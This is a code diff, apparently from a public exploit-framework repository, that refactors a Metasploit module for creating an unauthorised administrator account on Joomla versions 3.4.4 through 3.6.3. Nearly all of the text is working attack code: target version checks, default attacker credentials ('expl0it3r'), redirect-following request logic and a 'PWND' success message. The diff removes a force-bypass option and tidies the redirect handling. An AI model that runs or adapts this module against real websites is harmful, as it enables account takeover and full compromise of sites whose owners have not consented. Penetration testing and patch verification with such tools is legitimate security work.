@@ -11,7 +11,7 @@ def initialize(info = {})
11
11
super ( update_info ( info ,
12
12
'Name' => 'Joomla Account Creation and Privilege Escalation' ,
13
13
'Description' => %q{
14
- This module allows to create an arbitrary account with administrative privileges in Joomla versions 3.4.4
14
+ This module creates an arbitrary account with administrative privileges in Joomla versions 3.4.4
15
15
through 3.6.3. If an email server is configured in Joomla, an email will be sent to activate the account (the account is disabled by default).
16
16
} ,
17
17
'References' =>
@@ -37,14 +37,13 @@ def initialize(info = {})
37
37
OptString . new ( 'TARGETURI' , [ true , 'The relative URI of the Joomla instance' , '/' ] ) ,
38
38
OptString . new ( 'USERNAME' , [ true , 'Username that will be created' , 'expl0it3r' ] ) ,
39
39
OptString . new ( 'PASSWORD' , [ true , 'Password for the username' , 'expl0it3r' ] ) ,
40
- OptString . new ( 'EMAIL' , [ true , 'Email to receive the activation code for the account' , '[email protected] ' ] ) ,
41
- OptString . new ( 'FORCE' , [ true , 'Force bypass checks' , 'false' ] )
40
+ OptString . new ( 'EMAIL' , [ true , 'Email to receive the activation code for the account' , '[email protected] ' ] )
42
41
]
43
42
)
44
43
end
45
44
46
45
def check
47
- res = send_request_cgi ( { 'uri' => target_uri . path } )
46
+ res = send_request_cgi ( 'uri' => target_uri . path )
48
47
49
48
unless res
50
49
print_error ( "Connection timed out" )
@@ -58,9 +57,9 @@ def check
58
57
end
59
58
60
59
version = Gem ::Version . new ( joomla_version )
61
- unless version . nil?
60
+ if version
62
61
print_status ( "Detected Joomla version #{ joomla_version } " )
63
- return Exploit ::CheckCode ::Appears if version >= Gem ::Version . new ( '3.4.4' ) && version <= Gem ::Version . new ( '3.6.3' )
62
+ return Exploit ::CheckCode ::Appears if version . between? ( Gem ::Version . new ( '3.4.4' ) , Gem ::Version . new ( '3.6.3' ) )
64
63
end
65
64
66
65
return Exploit ::CheckCode ::Detected if online
@@ -78,11 +77,9 @@ def get_csrf(hidden_fields)
78
77
end
79
78
80
79
def run
81
- if datastore [ 'FORCE' ] == 'false'
82
- if check == Exploit ::CheckCode ::Safe
83
- print_error ( 'Target seems safe, so we will not continue!' )
84
- return
85
- end
80
+ if check == Exploit ::CheckCode ::Safe
81
+ print_error ( 'Target seems safe, so we will not continue!' )
82
+ return
86
83
end
87
84
88
85
print_status ( "Trying to create the user!" )
@@ -130,14 +127,13 @@ def run
130
127
print_good ( "PWND - Your user has been created" )
131
128
print_status ( "\t Username: " + datastore [ 'USERNAME' ] )
132
129
print_status ( "\t Password: " + datastore [ 'PASSWORD' ] )
133
- elsif res && res . code == 303
134
- while res && res . code == 303 do
135
- res = send_request_cgi (
136
- 'uri' => res . redirection . to_s ,
137
- 'method' => 'GET' ,
138
- 'cookie' => cookie
139
- )
140
- end
130
+ print_status ( "\t Email: " + datastore [ 'EMAIL' ] )
131
+ elsif res . redirect?
132
+ res = send_request_cgi! (
133
+ 'uri' => res . redirection . path ,
134
+ 'method' => 'GET' ,
135
+ 'cookie' => cookie
136
+ )
141
137
142
138
print_error ( "There was an issue, but the user could have been created." )
143
139
0 commit comments